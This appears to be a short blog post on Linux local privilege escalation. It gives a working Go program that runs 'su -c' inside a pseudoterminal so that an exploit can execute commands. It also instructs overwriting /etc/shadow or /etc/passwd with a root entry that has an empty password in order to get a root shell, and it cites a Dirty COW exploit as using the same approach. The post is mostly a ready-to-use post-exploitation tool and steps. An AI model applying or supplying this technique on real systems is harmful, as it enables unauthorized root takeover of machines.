su -c
is convenient to use, but, when you use it in your LPE exploit, hoping it to execute your command, you will probably get
su: must be run from a terminal
the obvious solution is give it a "terminal" to run from
there's a forkpty
function provided by pty.h
, linked with -lutil
a dirtycow exploit
takes advantage of forkpty
to execute su
in a pseudoterminal, then fill in password to spawn shell
what i recommend to use, is a pure-Go implementation, you can write something like:
package main
import (
"os/exec"
"github.com/creack/pty"
)
func main() {
c := exec.Command("su", "-c <your command>")
_, err := pty.Start(c)
if err != nil {
panic(err)
}
}
compile it without CGO
, the resulting binary is fully static, has no dependencies (almost)
to use it, overwrite /etc/shadow
or /etc/passwd
with root::16431:0:99999:7:::
(clear root password, when not applicable, add a different account)
then call our go program to run arbitrary command as root
Comments
comments powered by Disqus